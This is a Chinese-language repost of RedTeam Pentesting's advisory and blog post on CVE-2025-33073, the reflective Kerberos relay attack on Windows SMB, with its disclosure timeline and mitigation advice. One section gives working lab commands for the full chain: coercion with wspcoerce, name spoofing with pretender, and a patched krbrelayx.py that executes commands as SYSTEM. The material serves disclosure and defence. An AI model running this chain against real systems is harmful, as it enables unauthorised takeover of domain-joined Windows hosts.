漏洞补丁日值得关注的漏洞。详细报告已上传至 github. 

https://github.com/mayfly42/ThreatReport/blob/main/2025-06-11-Reflective-Kerberos-Relay-Attack_RedTeam-Pentesting.pdf

微软修复了 Windows SMB 中的一个漏洞，该漏洞允许攻击者在易受攻击的设备上获得 SYSTEM 权限。

微软解释说：“Windows SMB 中的不当访问控制允许授权攻击者通过网络提升权限。”

微软进一步解释说：“为了利用此漏洞，攻击者可以执行精心设计的恶意脚本，诱使受害者机器使用 SMB 连接回攻击系统并进行身份验证。这可能导致权限提升。”

微软尚未透露该漏洞是如何公开披露的。然而，Born City 报道称，DFN-CERT（德国研究网络计算机应急响应小组）本周开始传播来自 RedTeam Pentesting 关于该漏洞的警告。

虽然现在有可用的更新，但据报道，可以通过通过组策略强制执行服务器端 SMB 签名来缓解该漏洞。

针对已加入域的 Windows 客户端和服务器的反射式 Kerberos 中继攻击

RedTeam Pentesting 开发了反射式 Kerberos 中继攻击，该攻击允许低权限的 Active Directory 域用户远程获取已加入域的 Windows 计算机上的 NT AUTHORITY\SYSTEM 权限。此漏洞影响所有未要求对传入连接进行 SMB 签名的已加入域的 Windows 主机。在它们的默认配置中，这包括所有 Windows 10 和 11 版本（直到 23H2）以及所有 Windows Server 版本，包括 2025 24H2，但不包括域控制器。

详情

  • 产品：Microsoft Windows

  • 受影响版本：不需要服务器端 SMB 签名的客户端和服务器

修复版本：请参阅 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073

  • 漏洞类型：权限提升

  • 安全风险：高

厂商 URL：https://www.microsoft.com/windows

  • 厂商状态：补丁可用

建议网址：https://www.redteam-pentesting.de/advisories/rt-sa-2025-002

  • 建议状态：公开

  • CVE：CVE-2025-33073

CVE 网址：https://www.cve.org/CVERecord?id=CVE-2025-33073

在反射式中继攻击或环回中继攻击中，身份验证消息被中继回其发起的同一主机。虽然针对这些攻击的保护措施已于 2008 年通过 MS08-068 针对现已弃用的 NTLM 协议实施，但 Kerberos 身份验证协议似乎缺乏这些保护措施。此外，反射式 Kerberos 中继攻击利用了权限提升漏洞，该漏洞允许攻击者使用 NT AUTHORITY\SYSTEM 用户的权限执行命令。

由于此漏洞的复杂性，我们以白皮书的形式提供了详细的说明，可在此处获取 。 我们的博客文章中也解释了此攻击。

解决方法

由于此漏洞是在中继攻击中被利用的，因此可以通过对 Windows 客户端和服务器强制执行服务器端 SMB 签名来缓解。

修复

微软作为补丁星期二的一部分，为大多数 Windows 版本提供更新 2025 年 6 月，参见 .

安全风险

拥有 Windows 域中任意账户的攻击者，可以在对传入连接不要求 SMB 签名的系统上，以 NT AUTHORITY\SYSTEM 的权限执行代码，从而完全控制受影响的系统。这对许多组织构成了高风险。

时间线

  • 2025-01-30 漏洞已识别

  • 2025-03-07 通过 MSRC 向 Microsoft 报告

  • 2025-03-21 Microsoft 确认漏洞

  • 2025-05-02 Microsoft 将漏洞分类为“重要”

  • 2025-05-30 Microsoft 声明 CVE ID 和补丁发布日期

  • 2025-06-03 微软同意在 6 月 10 日补丁日后公布细节

  • 2025-06-04 宣布 5000 美元的漏洞赏金

  • 2025-06-05 微软被要求推迟几天发布，以便提供修复版本信息

  • 2025-06-10 微软发布补丁

  • 2025-06-11 公告发布

在 IT 安全领域，一个令人遗憾的事实是，某些漏洞永远无法真正被消灭，早已修复的漏洞却一次又一次地出现复活。在研究中继攻击时，这种攻击是 Active Directory，我们无意中复活了反射式中继攻击。因为 2008 年 MS08-068，不可能将 NTLM 消息中继回发起它们的宿主机。2025 年，我们问自己：如果我们尝试用 Kerberos 呢？

事实证明，这个问题导致了反射式 Kerberos 中继攻击的发现。它不仅绕过了为 NTLM 反射设置的限制，还利用了一个权限提升漏洞。如果你能诱使任何 Windows 宿主机通过 SMB 向你进行身份验证，你就可以将计算机账户的 Kerberos 票据中继回宿主机，并获得 NT AUTHORITY\SYSTEM 权限，从而实现远程代码执行。

针对此漏洞的补丁已作为 2025 年 6 月 10 日 补丁星期二 的一部分发布。

CVE-2025-33073 - 反射式 Kerberos 中继攻击

反射式 Kerberos 中继攻击是一种利用 RedTeam Pentesting 于 2025 年 1 月发现的漏洞 CVE-2025-33073 的技术。我们已向微软披露了该漏洞，并提交了一份详尽的白皮书，现已发布在我们的网站上 以及我们的安全公告中。作为补丁星期二的一部分，缓解措施已于 2025 年 6 月 10 日推出。通过这篇博文，我们希望借此机会以更简洁的形式总结这个问题，并表达我们的一些想法。

该攻击背后的原理是，我们诱使 Windows 主机通过 SMB 连接到我们的攻击系统，并通过 Kerberos 进行身份验证。然后，Kerberos 票据通过 SMB 中继回同一主机。由于强制操作通常会导致相应计算机帐户的身份验证，我们预计会获得一个具有该计算机帐户权限的低权限 SMB 会话。然而，结果是 SMB 会话具有高权限的 NT AUTHORITY\SYSTEM 权限，足以执行任意命令。

反射式 Kerberos 中继攻击示意图

这个概念听起来很简单，尽管结果出人意料。然而，在实践中，为了使这次攻击奏效，需要克服相当多的障碍。在我们的白皮书中，我们详细介绍了每一个障碍及其影响，但这里是重点：

  • 身份验证强制： 攻击始于身份验证强制。这是一种众所周知的技术，允许低权限帐户通过 DCERPC 连接到 Windows 主机，并强制其使用其计算机帐户连接并向攻击系统进行身份验证。我们在之前的博文中描述了这项技术背后的理论以及目前可用的技术：2025 年 Windows 强制技术终极指南 。了解强制技术的局限性非常重要，因为这些局限性决定了哪些主机最终在实践中容易受到反射式 Kerberos 中继攻击的攻击。

  • 强制目标和服务主体名称的解耦： 强制 Kerberos 身份验证不像听起来那么容易。如果我们强制建立一个连接 对于攻击系统，Kerberos 仅在攻击系统拥有自己的 服务主体名称，在这种情况下，如果我们 将其中继回去。这就是 CredUnmarshalTargetInfo/CREDENTIAL_TARGET_INFORMATIONW 技巧就派上用场了，这项技术由 Google Project Zero 的 James Forshaw 首创。这允许我们注册一个指向攻击系统的域名，从而导致为完全不同的主机颁发 Kerberos 票据。利用这项技术，我们能够接收到原本发给同一主机的 Kerberos 票据。

  • 绕过 NTLM 优先级： 由于上述技巧，Windows 似乎认为它正在连接到自身，在这种情况下，NTLM 实际上 优先于 Kerberos。因此，我们需要修改 krbrelayx 以声明它完全不具备 NTLM 功能，从而强制使用 Kerberos 身份验证。你可以在我们的 论文 中找到差异。

眼见为实！

最终，我们得到了一个可以中继回主机的合适票据。让我们看看实际效果：

第一步是身份验证强制。在这个例子中，我们使用我们全新的工具 wspcoerce 针对 client1，但你应该看看 我们之前的博文，了解其他技术 ：

$ wspcoerce 'lab.redteam/user1:KojbyRyibdinWom)@client1.lab.redteam' \
    file:////client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/path
Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra

[*] Connected to IPC$
[*] Opened MsFteWds pipe
[*] Sent WSP Connect
[*] Sent WSP Query
[*] Sent WSP Disconnect

请注意，目标除了 Base64 编码的 CREDENTIAL_TARGET_INFORMATIONW 之外，还包括主机名 client1。 这会导致 client1 请求一个它自己的服务票据，并将其发送到整个主机名所在的位置 解析为。你可以阅读更多关于这个巧妙的技术 这里 。 无论如何，我们必须确保整个令人厌恶的主机名 解析到我们的攻击系统。我们可以通过在 Active Directory 集成 DNS 上注册它，或者简单地使用 pretender 来回答本地名称解析查询（ 查看我们的博客文章，了解更多关于 pretender 的信息 ）：

$ sudo pretender -i eth1 --no-dhcp-dns --no-timestamps \
    --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*'
Pretender by RedTeam Pentesting v1.3.2-74e629fcc5
Listening on interface: eth1
IPv4 relayed to: 192.168.56.11
IPv6 relayed to: fe80::a00:27ff:fe89:bdac
Answering queries for: *1uwhrcaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaybaaaa*

[mDNS] listening via UDP on [ff02::fb%eth1]:5353
[NetBIOS] listening via UDP on 192.168.56.255:137
[LLMNR] listening via UDP on [ff02::1:3%eth1]:5355
[mDNS] listening via UDP on 224.0.0.251:5353
[LLMNR] listening via UDP on 224.0.0.252:5355
[...]
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (PCSSystemtec)
[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by 192.168.56.10 (client1.lab.redteam)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)
[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by 192.168.56.10 (client1.lab.redteam)

最后，我们可以将票据中继回 client1，并使用已修补版本的代码以 NT AUTHORITY\SYSTEM 的身份执行代码 krbrelayx.py（你可以在我们的 论文 中找到小的差异）：

$ krbrelayx.py --target smb://client1.lab.redteam -c whoami
[...]
[*] SMBD: Received connection from 192.168.56.10
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Executed specified command on host: client1.lab.redteam
nt authority\system

[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

但为什么？

不幸的是，我们不太清楚为什么这随后会导致权限提升，但我们有一些理论。然而，请注意，我们实际上并没有逆向工程或调试任何东西来确保这些理论是正确的。

Windows 有一个针对本地环回身份验证的保护措施，它将 Kerberos 票据链接回创建它的进程。这是必要的，以防止本地用户绕过 UAC，正如 James Forshaw 在这里 描述的那样。 基本上，它阻止具有 UAC 限制令牌的用户执行环回网络身份验证到本地主机，以生成一个具有新的、非限制令牌的进程。 通过将身份验证链接到原始进程，可以重复使用原始的受限令牌，并且 UAC 限制保持不变。

然而，对于反射式 Kerberos 中继攻击，这个概念却被颠覆了。在这里，高权限的 NT AUTHORITY\SYSTEM 账户使用低权限的 client1$ 的凭据进行身份验证。 计算机账户。 Windows 似乎对这种攻击有点困惑，并认为 我们正在进行回环身份验证，因为 SPN 引用了它自己 hostname。因此，这两个结构（KERB_AD_RESTRICTION_ENTRY 和 包含将票证链接到原始进程的 ( KERB_LOCAL)。使用低权限的 client1$ 进行身份验证后会发生什么？ 账户，如果重用了原始进程的进程令牌，而不是 创建一个新的？没错，我们继承了 NT AUTHORITY\SYSTEM 权限！我们滥用了提权缓解措施来提升权限。

Wireshark 中反射的 AP_REQ 中的授权数据

至少，这是我们的理论。

那么，谁容易受到攻击？

如前所述，该漏洞已在微软的补丁中得到解决。 6 月 10 日星期二的修复。我们没有机会测试缓解措施。 微软使用，我们不知道他们到底做了什么来修复它。如果 如果您有任何信息，请联系我们，例如在 Mastodon, Bluesky， 电子邮件 ，或者 X/Twitter。

我们仍然希望概述补丁前的状况，以便您判断其关键性：

我们能够在 Windows 10、11 以及 Server 2019 到 2025 上复现此漏洞。我们不知道有任何版本不受影响。然而，易受攻击和可被利用是两回事。为了真正利用此漏洞，必须同时能够进行强制认证和 SMB 中继。

在我们的上一篇博文中，我们详细介绍了哪些强制技术适用于哪些 Windows 版本。 简而言之，对于所有客户端以及早于 23H2 的服务器，SMB 强制应该始终可靠地工作。 对于 23H2 或更新版本的服务器，它可能有效，也可能无效，这取决于其他情况。

除非服务器端 SMB 签名被强制执行，否则 SMB 中继是可能的。对于客户端，自 Windows 11 24H2 起，它默认被强制执行，但在服务器上，它仅在域控制器上默认被强制执行。

要点

我们现在看到越来越多基于中继的 Kerberos 攻击载体，这些载体基于 Kerberos 中继的鼻祖 James Forshaw 的基础工作 。基于这一基础工作，近年来出现了许多攻击实现。在 Dirk-jan Mollema 实现了 DNS 动态更新攻击载体之后，CredUnmarshalTargetInfo 技巧的出现只是时间问题。 以及 LLMNR 欺骗以混淆 SPN 已实现。这些攻击，连同反射式中继的复兴 使用 Kerberos 的攻击，强烈表明我们对 Kerberos 还有很多需要学习的地方 Kerberos 中继。我们期待着做和阅读更多相关内容。 未来对这个主题进行研究，尤其是在 NTLM 最终将被 弃用的时候。记住：对 NTLM 适用的不一定对 Kerberos 适用。

另一个值得注意的地方是，越来越明显的是，仅仅废除 NTLM 并就此止步是不够的。所有用于修补 NTLM 这艘正在沉没的船上的漏洞的小缓解措施，如 SMB 或 LDAP 签名、通道绑定和 EPA，对 Kerberos 来说也相当重要。微软也一直在新的 Windows 版本中默认启用越来越多的这些功能。因此，如果您正在努力保护您的 Windows 域，积极主动是一个好主意。您不仅应该准备好自己禁用 NTLM，还应该尽快自己启用安全功能。Windows 中将不断发现新的漏洞，但即使在补丁发布之前，它们在您的域中也很有可能无法被利用。在您检查安全设置之前，请记住服务器端签名策略比客户端策略重要得多。

最后，我们想谈谈我们的披露经验。一些研究人员过去曾与微软发生过一些分歧，最近的例子是 dMSA 漏洞，Akamai 在其精彩的博文 BadSuccessor 中披露了该漏洞 。然而，我们通过 MSRC 进行披露的经验是积极的。微软已经承认了这个问题，分配了我们认为合适的严重程度，并且他们在我们 3 个月的披露政策内发布了补丁。不幸的是，最初拒绝了漏洞赏金，理由是它属于 Windows Insider Preview 赏金计划，并且该漏洞默认情况下不可利用。这是因为服务器端 SMB 签名在 Windows 11 Insider Preview 上默认启用。我们要求他们重新考虑，因为我们怀疑该漏洞可能并非特定于 SMB，而是普遍存在于 Kerberos 中，并且 SMB 签名配置仅影响我们在研究中使用的攻击向量，因为它最有可能被利用。令人惊讶的是，这促使微软重新评估了他们在漏洞赏金上的立场，并承诺给我们 5000 美元的奖励。 总的来说，我们认为这是一个伟大而成功的披露过程的例子，我们觉得微软的人实际上听取了我们的意见。

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本平台和发布者不为此承担任何责任。